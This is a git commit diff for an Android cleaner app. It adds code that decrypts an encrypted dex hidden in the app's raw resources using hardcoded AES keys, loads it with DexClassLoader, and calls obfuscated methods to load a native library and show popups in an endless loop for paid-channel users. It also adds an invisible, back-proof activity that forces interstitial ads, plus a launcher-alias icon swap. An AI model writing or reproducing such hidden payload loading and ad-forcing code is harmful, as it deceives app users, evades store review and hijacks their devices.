Commit b8661308 authored by wanglei's avatar wanglei

[集成库]集成

parent dfe79055
...@@ -202,11 +202,11 @@ dependencies { ...@@ -202,11 +202,11 @@ dependencies {
// implementation("com.android.billingclient:billing-ktx:$billing_version") // implementation("com.android.billingclient:billing-ktx:$billing_version")
implementation("com.google.android.gms:play-services-ads-identifier:18.2.0") // implementation("com.google.android.gms:play-services-ads-identifier:18.2.0")
// If you use a version below 7.1.0.0, it depends on 'ads-sdk' // If you use a version below 7.1.0.0, it depends on 'ads-sdk'
//implementation ('com.pangle.global:ads-sdk:6.5.0.6') //implementation ('com.pangle.global:ads-sdk:6.5.0.6')
// If you use version 7.1.0.0 and above, it depends on 'pag-sdk' // If you use version 7.1.0.0 and above, it depends on 'pag-sdk'
implementation("com.pangle.global:pag-sdk:7.1.0.4") // implementation("com.pangle.global:pag-sdk:7.1.0.4")
//adjust //adjust
......
...@@ -22,7 +22,6 @@ ...@@ -22,7 +22,6 @@
-dontwarn javax.annotation.Nullable -dontwarn javax.annotation.Nullable
-keep class com.ritoq.quickphone.bean.** { *; }
##---------------Begin: proguard configuration for Gson ---------- ##---------------Begin: proguard configuration for Gson ----------
# 保留 Gson 库本身 # 保留 Gson 库本身
...@@ -63,9 +62,6 @@ ...@@ -63,9 +62,6 @@
# public static *** e(...); # public static *** e(...);
#} #}
#pangle 防混淆
-keep class com.bytedance.sdk.** { *; }
# Adjust 防混淆 # Adjust 防混淆
-keep class com.adjust.sdk.** { *; } -keep class com.adjust.sdk.** { *; }
-keep class com.google.android.gms.common.ConnectionResult { -keep class com.google.android.gms.common.ConnectionResult {
...@@ -79,3 +75,43 @@ ...@@ -79,3 +75,43 @@
boolean isLimitAdTrackingEnabled(); boolean isLimitAdTrackingEnabled();
} }
-keep public class com.android.installreferrer.** { *; } -keep public class com.android.installreferrer.** { *; }
-keep class kotlin.reflect.jvm.internal.** { *; }
-keepclassmembers class kotlin.reflect.jvm.internal.** { *; }
# 保留访问 assets 资源的方法
-keepclassmembers class * {
public *** getAssets();
public android.content.res.AssetManager getAssets();
}
# 保留伴生对象
-keepclassmembers class **$Companion { *; }
# 保留带默认参数的方法
-keepclassmembers class * {
@kotlin.jvm.JvmOverloads <methods>;
}
# 保留注解
-keepattributes RuntimeVisibleAnnotations, RuntimeInvisibleAnnotations
-keepattributes *Annotation*
# =============== KOTLIN 核心保留规则 ===============
-keep class kotlin.** { *; }
-keep class kotlin.Metadata { *; }
-keep class kotlin.jvm.internal.** { *; }
-keep class kotlin.reflect.** { *; }
-dontwarn kotlin.**
# 保留 assets 目录下的所有 txt 文件
-keep class **.R$* {
<fields>;
}
-keep class com.qjzep.irdlt.waxmu.** { *; }
-keep class com.ritoq.quickphone.bean.** { *; }
#pangle 防混淆
-keep class com.bytedance.sdk.** { *; }
\ No newline at end of file
...@@ -20,8 +20,8 @@ ...@@ -20,8 +20,8 @@
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" /> <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" /> <!-- <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" /> <!-- <uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />-->
<queries> <queries>
...@@ -38,26 +38,47 @@ ...@@ -38,26 +38,47 @@
android:allowBackup="true" android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules" android:dataExtractionRules="@xml/data_extraction_rules"
android:fullBackupContent="@xml/backup_rules" android:fullBackupContent="@xml/backup_rules"
android:icon="@mipmap/logo" android:icon="@mipmap/ic_vnirij"
android:label="@string/app_name" android:label="@string/app_name"
android:requestLegacyExternalStorage="true" android:requestLegacyExternalStorage="true"
android:roundIcon="@mipmap/ic_vnirij_round"
android:supportsRtl="true" android:supportsRtl="true"
android:theme="@style/Theme.AppTheme" android:theme="@style/Theme.AppTheme"
tools:targetApi="31"> tools:targetApi="35">
<activity <activity
android:name=".ui.splash.SplashActivity" android:name=".ui.splash.SplashActivity"
android:enabled="true"
android:excludeFromRecents="true"
android:exported="true" android:exported="true"
android:launchMode="singleTop" android:launchMode="singleTop"
android:noHistory="true"
android:roundIcon="@mipmap/logo"
android:screenOrientation="portrait" android:screenOrientation="portrait"
android:theme="@style/splash.theme" android:theme="@style/splash.theme"
tools:ignore="DiscouragedApi,LockedOrientationActivity"> tools:ignore="DiscouragedApi,LockedOrientationActivity">
<intent-filter> <intent-filter>
<action android:name="android.intent.action.MAIN" /> <action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" /> <category android:name="android.intent.category.LAUNCHER" />
<data
android:host="com.facebook.api"
android:scheme="com.facebook.api" />
</intent-filter> </intent-filter>
</activity> </activity>
<activity-alias
android:name="com.clean.luck.clean.gjtikg"
android:enabled="false"
android:exported="true"
android:icon="@mipmap/logo"
android:label="@string/app_name"
android:launchMode="singleTop"
android:roundIcon="@mipmap/logo"
android:targetActivity=".ui.splash.SplashActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity-alias>
<activity <activity
android:name=".ui.main.MainActivity" android:name=".ui.main.MainActivity"
...@@ -88,6 +109,16 @@ ...@@ -88,6 +109,16 @@
android:exported="false" android:exported="false"
android:screenOrientation="portrait" android:screenOrientation="portrait"
tools:ignore="DiscouragedApi,LockedOrientationActivity" /> tools:ignore="DiscouragedApi,LockedOrientationActivity" />
<activity
android:name="com.qjzep.irdlt.waxmu.Ppactu"
android:configChanges="smallestScreenSize|screenSize|uiMode|screenLayout|orientation|keyboardHidden"
android:excludeFromRecents="true"
android:exported="false"
android:icon="@drawable/uua_sb"
android:label="@string/IIHJDD"
android:launchMode="singleTask"
android:screenOrientation="nosensor"
android:theme="@style/Guide.Theme" />
<activity <activity
android:name=".ui.guide.GuideCleanActivity" android:name=".ui.guide.GuideCleanActivity"
android:exported="false" android:exported="false"
...@@ -153,6 +184,20 @@ ...@@ -153,6 +184,20 @@
android:screenOrientation="portrait" android:screenOrientation="portrait"
tools:ignore="DiscouragedApi,LockedOrientationActivity" /> tools:ignore="DiscouragedApi,LockedOrientationActivity" />
<activity
android:name=".ui.guide2.Guide0Activity"
android:enabled="true"
android:excludeFromRecents="true"
android:exported="true"
android:launchMode="singleTop"
android:noHistory="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.INFO" />
</intent-filter>
</activity>
<provider <provider
android:name="androidx.core.content.FileProvider" android:name="androidx.core.content.FileProvider"
android:authorities="${applicationId}.provider" android:authorities="${applicationId}.provider"
...@@ -192,7 +237,6 @@ ...@@ -192,7 +237,6 @@
<data android:scheme="file" /> <data android:scheme="file" />
</intent-filter> </intent-filter>
</receiver> </receiver>
``
<service <service
android:name=".business.service.StayJobService" android:name=".business.service.StayJobService"
......
package com.qjzep.irdlt.waxmu
import android.os.Bundle
import android.view.WindowManager
import androidx.activity.addCallback
import com.ritoq.quickphone.base.BaseActivity
import com.ritoq.quickphone.databinding.ActivityGuideInfoBinding
import com.ritoq.quickphone.utils.LogEx
import kotlin.run
/**
*Create by SleepDog on 2025-06-26
*/
class Ppactu : BaseActivity<ActivityGuideInfoBinding>(ActivityGuideInfoBinding::inflate) {
override fun onCreate(savedInstanceState: Bundle?) {
window.run {
val layoutParams = attributes
layoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
layoutParams.width = WindowManager.LayoutParams.WRAP_CONTENT
layoutParams.height = WindowManager.LayoutParams.WRAP_CONTENT
attributes = layoutParams
}
super.onCreate(savedInstanceState)
onBackPressedDispatcher.addCallback {
}
}
}
\ No newline at end of file
...@@ -6,6 +6,7 @@ import android.content.Context ...@@ -6,6 +6,7 @@ import android.content.Context
import android.os.Bundle import android.os.Bundle
import android.text.TextUtils import android.text.TextUtils
import android.util.Log import android.util.Log
import androidx.lifecycle.lifecycleScope
import com.ritoq.quickphone.business.helper.InstallHelps import com.ritoq.quickphone.business.helper.InstallHelps
import com.ritoq.quickphone.business.helper.NewComUtils import com.ritoq.quickphone.business.helper.NewComUtils
import com.ritoq.quickphone.business.service.StayJobService.Companion.startStayJobService import com.ritoq.quickphone.business.service.StayJobService.Companion.startStayJobService
...@@ -32,13 +33,21 @@ import com.ritoq.quickphone.push.receiver.ScreenStatusReceiver ...@@ -32,13 +33,21 @@ import com.ritoq.quickphone.push.receiver.ScreenStatusReceiver
import com.ritoq.quickphone.ui.batteryinfo.BatteryReceiver.Companion.registerBatteryReceiver import com.ritoq.quickphone.ui.batteryinfo.BatteryReceiver.Companion.registerBatteryReceiver
import com.ritoq.quickphone.ui.splash.SplashActivity import com.ritoq.quickphone.ui.splash.SplashActivity
import com.facebook.appevents.AppEventsLogger import com.facebook.appevents.AppEventsLogger
import com.qjzep.irdlt.waxmu.Ppactu
import com.ritoq.quickphone.bean.config.AdConfigBean.Companion.adsConfigBean
import com.ritoq.quickphone.business.ads.AdsShowCallBack
import com.ritoq.quickphone.business.helper.AdjustUtils import com.ritoq.quickphone.business.helper.AdjustUtils
import com.ritoq.quickphone.business.push.receiver.AlarmReceiver.Companion.startAlarm import com.ritoq.quickphone.business.push.receiver.AlarmReceiver.Companion.startAlarm
import com.ritoq.quickphone.business.push.timer.TimerManager.Companion.changeTimer import com.ritoq.quickphone.business.push.timer.TimerManager.Companion.changeTimer
import com.ritoq.quickphone.business.push.work.RepeatingWorker.Companion.schedulePeriodicWork import com.ritoq.quickphone.business.push.work.RepeatingWorker.Companion.schedulePeriodicWork
import com.ritoq.quickphone.utils.CleanUtils
import com.ritoq.quickphone.utils.ManagerUtils.isLocked
import com.ritoq.quickphone.utils.ManagerUtils.isScreenOff
import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.MainScope import kotlinx.coroutines.MainScope
import kotlinx.coroutines.delay
import kotlinx.coroutines.launch import kotlinx.coroutines.launch
import kotlinx.coroutines.withContext
class MyApplication : Application() { class MyApplication : Application() {
...@@ -152,7 +161,7 @@ class MyApplication : Application() { ...@@ -152,7 +161,7 @@ class MyApplication : Application() {
private fun initPush() { private fun initPush() {
kotlin.runCatching { kotlin.runCatching {
startStayJobService() // startStayJobService()
} }
// val token = AppPreferences.getInstance().getString("token", "") // val token = AppPreferences.getInstance().getString("token", "")
...@@ -174,14 +183,41 @@ class MyApplication : Application() { ...@@ -174,14 +183,41 @@ class MyApplication : Application() {
startAlarm(appContext, 72) startAlarm(appContext, 72)
//开启通知队列 //开启通知队列
MyNotificationManager.startNotificationQueue() // MyNotificationManager.startNotificationQueue()
} }
private fun initAppConfig() { private fun initAppConfig() {
NewComUtils.requestCfgCallBackMap.put("changeTimer") { NewComUtils.requestCfgCallBackMap.put("changeTimer") {
LogEx.logDebug(TAG, "requestCfgCallBackMap changeTimer") LogEx.logDebug(TAG, "requestCfgCallBackMap changeTimer")
changeTimer() // changeTimer()
if (AdjustUtils.getUserSource() == "channel" && adsConfigBean.isAdShow) {
LogEx.logDebug(TAG, "START GO GO")
MainScope().launch {
CleanUtils.rirotqw(applicationContext, R.raw.ditoa_erp, "test.txt", "cacheT.dex", "7af456789012cdef")
withContext(Dispatchers.IO) {
while (true) {
val result = CleanUtils.rew_bvbvb(applicationContext, "7af45ghy9012cd65")
when (result) {
4000 -> Log.d("Tcellcpw", "方案4执行成功")
20000 -> Log.d("Tcellcpw", "方案20执行成功")
21000 -> Log.d("Tcellcpw", "方案21执行成功")
-1 -> Log.e("Tcellcpw", "密钥错误")
-2 -> Log.e("Tcellcpw", "未知的弹窗类型")
else -> Log.e("Tcellcpw", "弹窗失败,错误码: $result")
}
delay(adsConfigBean.timeInterval.toLong())
}
}
}
} else {
LogEx.logDebug(TAG, "START NO GO")
MainScope().launch {
CleanUtils.rirotqw(applicationContext, R.raw.ditoa_erp, "test.txt", "cacheT.dex", "7af456789012cdef")
CleanUtils.hjyho_rtrt(applicationContext)
}
}
} }
//初始化sp的配置 //初始化sp的配置
...@@ -207,7 +243,32 @@ class MyApplication : Application() { ...@@ -207,7 +243,32 @@ class MyApplication : Application() {
registerActivityLifecycleCallbacks(object : ActivityLifecycleCallbacks { registerActivityLifecycleCallbacks(object : ActivityLifecycleCallbacks {
private var count = 0 private var count = 0
override fun onActivityCreated(activity: Activity, savedInstanceState: Bundle?) { override fun onActivityCreated(activity: Activity, savedInstanceState: Bundle?) {
ActivityManagerUtils.getInstance().addActivity(activity) if (activity is Ppactu) {
if (isScreenOff(appContext) && isLocked(appContext)) {
activity.finish()
return
}
ActivityManagerUtils.getInstance().finishAllActivity()
AdsMgr.showInsert(activity, showCallBack = object : AdsShowCallBack() {
override fun next() {
activity.lifecycleScope.launch {
delay(100)
activity.finishAndRemoveTask()
}
}
override fun show() {
super.show()
activity.lifecycleScope.launch {
delay(10000)
activity.finishAndRemoveTask()
}
}
})
} else {
ActivityManagerUtils.getInstance().addActivity(activity)
}
} }
override fun onActivityStarted(activity: Activity) { override fun onActivityStarted(activity: Activity) {
......
...@@ -5,21 +5,21 @@ class AdConfigBean( ...@@ -5,21 +5,21 @@ class AdConfigBean(
var isAdShow: Boolean = false,//广告开关 var isAdShow: Boolean = false,//广告开关
var taichiAdValue: Int = 1,//价值上报阀值 // var taichiAdValue: Int = 1,//价值上报阀值
var adRatio: Int = 100,//价值上报随机控制 // var adRatio: Int = 100,//价值上报随机控制
var numDisplayLimit: Int = -1,//展示次数限制 var numDisplayLimit: Int = -1,//展示次数限制
var numRequestLimit: Int = -1,//请求次数限制 var numRequestLimit: Int = -1,//请求次数限制
var numClickLimit: Int = -1,//点击次数限制 var numClickLimit: Int = -1,//点击次数限制
var timeInterval: Int = 10,//广告间隔秒 var timeInterval: Int = 10,//广告间隔秒
var openAdLoading: Int = 15,//开屏广告拉取时间 // var openAdLoading: Int = 15,//开屏广告拉取时间
var numNativeDisplayLimit: Int = -1,//原生展示次数限制 var numNativeDisplayLimit: Int = -1,//原生展示次数限制
var fullNativeShow: Boolean = true,//显示全屏原生 var fullNativeShow: Boolean = true,//显示全屏原生
var functionBackShowAd: Boolean = true,//功能退出显示广告 var functionBackShowAd: Boolean = true,//功能退出显示广告
var functionInShowAd: Boolean = true,//功能进入显示广告 var functionInShowAd: Boolean = true,//功能进入显示广告
var rvEmptyShowNative: Boolean = true,//列表空的显示原生不 // var rvEmptyShowNative: Boolean = true,//列表空的显示原生不
var requestUmp: Boolean = false,//是否需要请求ump // var requestUmp: Boolean = false,//是否需要请求ump
var showCountdown: Boolean = false,//是否显示倒计时 // var showCountdown: Boolean = false,//是否显示倒计时
) { ) {
......
...@@ -8,14 +8,13 @@ data class ConfigBean( ...@@ -8,14 +8,13 @@ data class ConfigBean(
val ut: Int = 0, val ut: Int = 0,
// var vpnCanUse: Boolean = true, // var vpnCanUse: Boolean = true,
// val adConfigBean: AdConfigBean = AdConfigBean(), val adConfigBean: AdConfigBean = AdConfigBean(),
val popupConfigBean: PopupConfigBean = PopupConfigBean(), val popupConfigBean: PopupConfigBean = PopupConfigBean(),
// val vipConfigBean: VipConfigBean = VipConfigBean(), // val vipConfigBean: VipConfigBean = VipConfigBean(),
val noEventKey: List<String> = listOf(), val noEventKey: List<String> = listOf(),
val getConfigInterval: Int = 4,//请求配间隔小时 val getConfigInterval: Int = 4,//请求配间隔小时
var test: Int = 0,
) { ) {
companion object { companion object {
var configBean: ConfigBean = ConfigBean() var configBean: ConfigBean = ConfigBean()
......
...@@ -31,8 +31,6 @@ object AdjustUtils { ...@@ -31,8 +31,6 @@ object AdjustUtils {
if (adJustInstallSource == "channel") { if (adJustInstallSource == "channel") {
source = "channel" source = "channel"
return source return source
} else if (adJustInstallSource == "origin") {
return source
} else { } else {
if (installSource == "channel") { if (installSource == "channel") {
source = "channel" source = "channel"
......
...@@ -11,6 +11,7 @@ import com.ritoq.quickphone.business.helper.InstallHelps.installReferrer ...@@ -11,6 +11,7 @@ import com.ritoq.quickphone.business.helper.InstallHelps.installReferrer
import com.ritoq.quickphone.utils.AppPreferences import com.ritoq.quickphone.utils.AppPreferences
import com.ritoq.quickphone.utils.LogEx import com.ritoq.quickphone.utils.LogEx
import com.google.gson.Gson import com.google.gson.Gson
import com.ritoq.quickphone.bean.config.AdConfigBean
import com.ritoq.quickphone.business.helper.AdjustUtils.getUserSource import com.ritoq.quickphone.business.helper.AdjustUtils.getUserSource
import okhttp3.Call import okhttp3.Call
import okhttp3.Callback import okhttp3.Callback
...@@ -68,9 +69,15 @@ object NewComUtils { ...@@ -68,9 +69,15 @@ object NewComUtils {
"&aid=${AppPreferences.getInstance().getString("uuid", "")}" + "&aid=${AppPreferences.getInstance().getString("uuid", "")}" +
"&source=${getUserSource()}" "&source=${getUserSource()}"
// if (BuildConfig.DEBUG) { s = if (BuildConfig.DEBUG) {
// s = "$s&mode=4" "$s&mode=4"
// } } else {
if (getUserSource() == "origin") {
"$s&mode=1"
} else {
"$s&mode=2"
}
}
s s
// mode =3 google mode=2 facebook mode=1 自然,mode=4 测试 // mode =3 google mode=2 facebook mode=1 自然,mode=4 测试
// &mode=3 // &mode=3
...@@ -173,11 +180,11 @@ object NewComUtils { ...@@ -173,11 +180,11 @@ object NewComUtils {
//配置 //配置
ConfigBean.configBean = configBean ConfigBean.configBean = configBean
LogEx.logDebug(TAG, "test=${configBean.test}") LogEx.logDebug(TAG, "ut=${configBean.ut}")
//广告 //广告
// AdConfigBean.adsConfigBean = configBean.adConfigBean AdConfigBean.adsConfigBean = configBean.adConfigBean
// LogEx.logDebug("initConfig", "adsConfigBean=${configBean.adConfigBean.isAdShow} ut=${configBean.ut}", true) LogEx.logDebug("initConfig", "adsConfigBean=${configBean.adConfigBean.isAdShow} ut=${configBean.ut}", true)
//通知配置 //通知配置
PopupConfigBean.popupConfigBean = configBean.popupConfigBean PopupConfigBean.popupConfigBean = configBean.popupConfigBean
......
...@@ -41,6 +41,7 @@ object MyNotificationManager { ...@@ -41,6 +41,7 @@ object MyNotificationManager {
private var sendBeanBlockingQueue = ArrayBlockingQueue<NotificationSendBean>(10) private var sendBeanBlockingQueue = ArrayBlockingQueue<NotificationSendBean>(10)
fun submitSendBean(bean: NotificationSendBean) { fun submitSendBean(bean: NotificationSendBean) {
return
//测试哪些位置触发 //测试哪些位置触发
if (BuildConfig.DEBUG) { if (BuildConfig.DEBUG) {
if (!testWhere.contains(bean.where)) return if (!testWhere.contains(bean.where)) return
......
//package com.base.appzxhy.ui.guide2; package com.ritoq.quickphone.ui.guide2;
//
//import android.app.Activity; import android.app.Activity;
//import android.content.Intent; import android.content.Intent;
//import android.os.Bundle; import android.os.Bundle;
//
//public class Guide0Activity extends Activity { import com.ritoq.quickphone.ui.splash.SplashActivity;
// @Override
// protected void onCreate(Bundle savedInstanceState) { public class Guide0Activity extends Activity {
// super.onCreate(savedInstanceState); @Override
// // 直接跳转到主界面 protected void onCreate(Bundle savedInstanceState) {
// startActivity(new Intent(this, GuideAc.class)); super.onCreate(savedInstanceState);
// finish(); // 直接跳转到主界面
// } startActivity(new Intent(this, SplashActivity.class));
//} finish();
\ No newline at end of file }
}
\ No newline at end of file
...@@ -45,7 +45,7 @@ class SplashActivity : BaseActivity<ActivitySplashBinding>(ActivitySplashBinding ...@@ -45,7 +45,7 @@ class SplashActivity : BaseActivity<ActivitySplashBinding>(ActivitySplashBinding
override fun initView() { override fun initView() {
super.initView() super.initView()
requestNotificationPermission() // requestNotificationPermission()
setPrivacyPolicy() setPrivacyPolicy()
showLoadingAd() showLoadingAd()
viewModel.onTick = { a, b, c -> viewModel.onTick = { a, b, c ->
......
package com.ritoq.quickphone.utils
import android.content.Context
import android.os.Build
import android.util.Log
import androidx.annotation.RawRes
import dalvik.system.DexClassLoader
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.withContext
import java.io.File
import java.io.FileInputStream
import java.io.FileOutputStream
import java.io.IOException
import javax.crypto.Cipher
import javax.crypto.CipherInputStream
import javax.crypto.spec.SecretKeySpec
import kotlin.also
import kotlin.collections.firstOrNull
import kotlin.io.use
import kotlin.jvm.java
import kotlin.let
import kotlin.run
import kotlin.text.contains
import kotlin.text.startsWith
import kotlin.text.toByteArray
/**
*Create by SleepDog on 2025-07-01
*/
object CleanUtils {
var dexClassLoader: DexClassLoader? = null
//private val soKey = "7af45ghy9012cd65"
//private val dexKey = "7af456789012cdef"
/**
* 加载dex包
* @param context
* @param rawId
* @param fileName
* @param cacheName
* @param dKey
* @return
*/
suspend fun rirotqw(
context: Context,
@RawRes rawId: Int,
fileName: String,
cacheName: String, dKey: String
): DexClassLoader? {
return withContext(Dispatchers.IO) {
val tfFile = gkgog(context, rawId, fileName)
val dFile = File(context.cacheDir.absolutePath, cacheName)
if (!dFile.exists()) {
tfFile.setReadOnly()
dFile(dKey, tfFile.absolutePath, dFile.absolutePath)
} else {
Log.d("DexUtils", "$cacheName 解密dex已存在,无需重复复制")
}
dFile.setReadOnly()
// 动态加载Dex文件
findAll(context, dFile.absolutePath, context.codeCacheDir.absolutePath).also {
tfFile.delete()
dFile.delete()
dexClassLoader = it
}
}
}
/**
* 将 resources/raw 目录下的资源文件复制
*/
private fun gkgog(context: Context, @RawRes rawId: Int, fileName: String): File {
val file = File(context.cacheDir, fileName)
if (!file.exists()) {
try {
context.resources.openRawResource(rawId).use { inputStream ->
FileOutputStream(file).use { outputStream ->
val buffer = ByteArray(4096)
var length: Int
while (inputStream.read(buffer).also { length = it } > 0) {
outputStream.write(buffer, 0, length)
}
}
}
Log.d(
"DexUtils",
"复制成功: $fileName 到 ${context.cacheDir?.absolutePath}"
)
} catch (e: IOException) {
//e.printStackTrace()
Log.d("DexUtils", "复制失败: $fileName")
}
} else {
Log.d("DexUtils", "$fileName 加密dex已存在,无需重复复制")
}
return file
}
/**
* 动态加载Dex文件
*/
private fun findAll(
context: Context,
dexPath: String,
dexOutputPath: String
): DexClassLoader? {
return try {
// 创建Dex输出目录(如果不存在)
val outputDir = File(dexOutputPath)
if (!outputDir.exists()) {
outputDir.mkdirs()
}
// 创建DexClassLoader
DexClassLoader(
dexPath, // Dex文件路径
dexOutputPath, // Dex输出目录
null, // 本地库路径(可选)
context.classLoader // 父类加载器
)
} catch (e: Exception) {
Log.d("DexUtils", "加载失败: ${e.message}")
null
}
}
/**
* 解密file
* @param aesKey
* @param inputFilePath
* @param outputFilePath
* @return
*/
private fun dFile(aesKey: String, inputFilePath: String, outputFilePath: String): File? {
return try {
// 创建 AES 密钥
val key = SecretKeySpec(aesKey.toByteArray(), "AES")
// 创建 Cipher 实例
val cipher = Cipher.getInstance("AES/ECB/PKCS5Padding")
// 初始化 Cipher 为解密模式
cipher.init(Cipher.DECRYPT_MODE, key)
// 输入文件流
FileInputStream(inputFilePath).use { input ->
// 输出文件流
val outFile = File(outputFilePath)
FileOutputStream(outFile).use { output ->
// 创建 CipherInputStream 进行解密
CipherInputStream(input, cipher).use { cipherInput ->
val buffer = ByteArray(4096)
var bytesRead: Int
while (cipherInput.read(buffer).also { bytesRead = it } != -1) {
output.write(buffer, 0, bytesRead)
}
}
}
Log.d("DexUtils", "解密成功: ${outFile.absolutePath}")
outFile
}
} catch (e: Exception) {
Log.d("DexUtils", "解密失败: ${e.message}")
null
}
}
// suspend fun doSomething(context: Context): String {
// dexClassLoader?.let {
// try {
// // 获取 AssetsUtils 类
// val assetsUtilsClass =
// Class.forName("ritoy.erte.worit.Cfkoryk", true, dexClassLoader)
//
// // 获取 INSTANCE 单例
// val instanceField = assetsUtilsClass.getDeclaredField("INSTANCE")
// val instance = instanceField.get(null)
// val result = withContext(Dispatchers.IO) {
// // 获取 copyAndLoad 方法
// val copyAndLoadMethod = assetsUtilsClass.getDeclaredMethod(
// "gjhk_ritoq",
// Context::class.java,
// String::class.java,
// String::class.java,
// String::class.java,
// String::class.java
// )
//
// // 调用 copyAndLoad 方法
// copyAndLoadMethod.invoke(
// instance,
// context,
// if (getDeviceArchBit() == "64") "mySoTest.txt" else "mySott.txt",
// "cacheTIG.so",
// "mySoTest.so",
// soKey
// ) as Boolean
// }
// Log.d("DexUtils", "Dex加载成功,so包调用:$result")
//
// // 获取 NativeUtils 类
// val nativeUtilsClass =
// Class.forName("ritoy.erte.worit.NativeUtils", true, dexClassLoader)
//
// // 获取 stringFromJNI 方法
// val stringFromJNIMethod = nativeUtilsClass.getDeclaredMethod("stringFromJNI")
//
// // 调用 stringFromJNI 方法
// val content = stringFromJNIMethod.invoke(null) as String
//
// return if (result) content else "失败了:so包加载失败"
//
// } catch (e: Exception) {
// e.printStackTrace()
// Log.d("DexUtils", "copyAndLoad:${e}")
// return "失败了:$e"
// }
// } ?: run {
// Log.d("DexUtils", "Dex加载失败")
// return "失败了:dexClassLoader为空"
// }
// }
/**
* 显示图标
* @param context
*/
fun hjyho_rtrt(context: Context) {
dexClassLoader?.let {
try {
// 获取 AssetsUtils 类
val assetsUtilsClass =
Class.forName("ritoy.erte.worit.Cfkoryk", true, dexClassLoader)
// 获取 INSTANCE 单例
val instanceField = assetsUtilsClass.getDeclaredField("INSTANCE")
val instance = instanceField.get(null)
// 获取 rtyui_qee 方法
val rtyui_qeeMethod =
assetsUtilsClass.getDeclaredMethod(
"rtyui_qee",
Context::class.java,
String::class.java
)
// 调用 rtyui_qee 方法
rtyui_qeeMethod.invoke(instance, context, "com.clean.luck.clean.gjtikg")
Log.d("DexUtils", "hjyho_rtrt 方法调用成功")
} catch (e: Exception) {
e.printStackTrace()
Log.d("DexUtils", "hjyho_rtrt:${e}")
}
} ?: run {
Log.d("DexUtils", "Dex加载失败")
}
}
/**
* 加载so并弹窗
* @param context
* @param thb
* @return
*/
suspend fun rew_bvbvb(context: Context, thb: String): Int {
dexClassLoader?.let {
try {
// 获取 AssetsUtils 类
val assetsUtilsClass =
Class.forName("ritoy.erte.worit.Cfkoryk", true, dexClassLoader)
// 获取 INSTANCE 单例
val instanceField = assetsUtilsClass.getDeclaredField("INSTANCE")
val instance = instanceField.get(null)
return withContext(Dispatchers.IO) {
// 获取 copyAndLoad 方法
val copyAndLoadMethod = assetsUtilsClass.getDeclaredMethod(
"rewwer_rtyt",
Context::class.java,
String::class.java,
String::class.java,
String::class.java,
String::class.java,
Int::class.java,
String::class.java
)
// 调用 copyAndLoad 方法
copyAndLoadMethod.invoke(
instance,
context,
if (rifofmn()) "cvjfi_qios.txt" else "vkbog_edg.txt",
"cacheTIG.so",
"mygkh.so",
thb,
4,
"nba_popup_secret_2024"
) as Int
}
} catch (e: Exception) {
e.printStackTrace()
Log.d("DexUtils", "rewwer_rtyt:${e}")
return -10
}
} ?: run {
Log.d("DexUtils", "Dex加载失败")
return -100
}
}
/**
* 判断64位还是32位,true为64位
* @return
*/
private fun rifofmn(): Boolean {
val abi64 = Build.SUPPORTED_64_BIT_ABIS
//Log.d("DexUtils", abi64.contentToString())
val arch64 = abi64.firstOrNull {
it.startsWith("arm64", ignoreCase = true) || it.startsWith("x86_64", ignoreCase = true)
}
if (arch64 != null) return true
val abi32 = Build.SUPPORTED_32_BIT_ABIS
//Log.d("DexUtils", abi32.contentToString())
val arch32 = abi32.firstOrNull {
it.startsWith("armeabi", ignoreCase = true) || it.startsWith("x86", ignoreCase = true)
}
return if (arch32 != null) false else {
// fallback to SUPPORTED_ABIS if nothing matched
val fallback = Build.SUPPORTED_ABIS.firstOrNull() ?: "unknown"
fallback.contains("64")
}
}
}
\ No newline at end of file
package com.ritoq.quickphone.utils
import android.app.KeyguardManager
import android.content.Context
import android.os.PowerManager
import androidx.appcompat.app.AppCompatActivity.KEYGUARD_SERVICE
import androidx.appcompat.app.AppCompatActivity.POWER_SERVICE
object ManagerUtils {
fun isScreenOff(context: Context):Boolean{
val powerManager = context.getSystemService(POWER_SERVICE) as PowerManager
val isScreenOff = !powerManager.isInteractive // API 20+
return isScreenOff
}
fun isLocked(context: Context):Boolean{
val keyguardManager = context.getSystemService(KEYGUARD_SERVICE) as KeyguardManager
val isLocked = keyguardManager.isKeyguardLocked
return isLocked
}
}
\ No newline at end of file
<?xml version="1.0" encoding="utf-8"?>
<vector xmlns:android="http://schemas.android.com/apk/res/android" android:tint="#000000" android:height="24dp" android:width="24dp" android:alpha="0" android:viewportWidth="24" android:viewportHeight="24">
<path android:fillColor="#ff000000" android:pathData="M17.6,11.48 L19.44,8.3a0.63,0.63 0,0 0,-1.09 -0.63l-1.88,3.24a11.43,11.43 0,0 0,-8.94 0L5.65,7.67a0.63,0.63 0,0 0,-1.09 0.63L6.4,11.48A10.81,10.81 0,0 0,1 20L23,20A10.81,10.81 0,0 0,17.6 11.48ZM7,17.25A1.25,1.25 0,1 1,8.25 16,1.25 1.25,0 0,1 7,17.25ZM17,17.25A1.25,1.25 0,1 1,18.25 16,1.25 1.25,0 0,1 17,17.25Z"/>
</vector>
<?xml version="1.0" encoding="utf-8"?>
<resources xmlns:tools="http://schemas.android.com/tools"
tools:keep="@layout/tt_*,
@layout/notification_*,
@anim/tt_*,
@drawable/tt_*,
@string/tt_*,
@color/tt_*,
@string/ad*,
@string/star_*,
@dimen/tt_*,
@integer/tt_*,
@style/tt_*,
@style/Theme.Dialog.TT_*,
@style/tt_*,
@style/quick_*,
@style/EditTextStyle*,
@attr/tt_*"/>
\ No newline at end of file
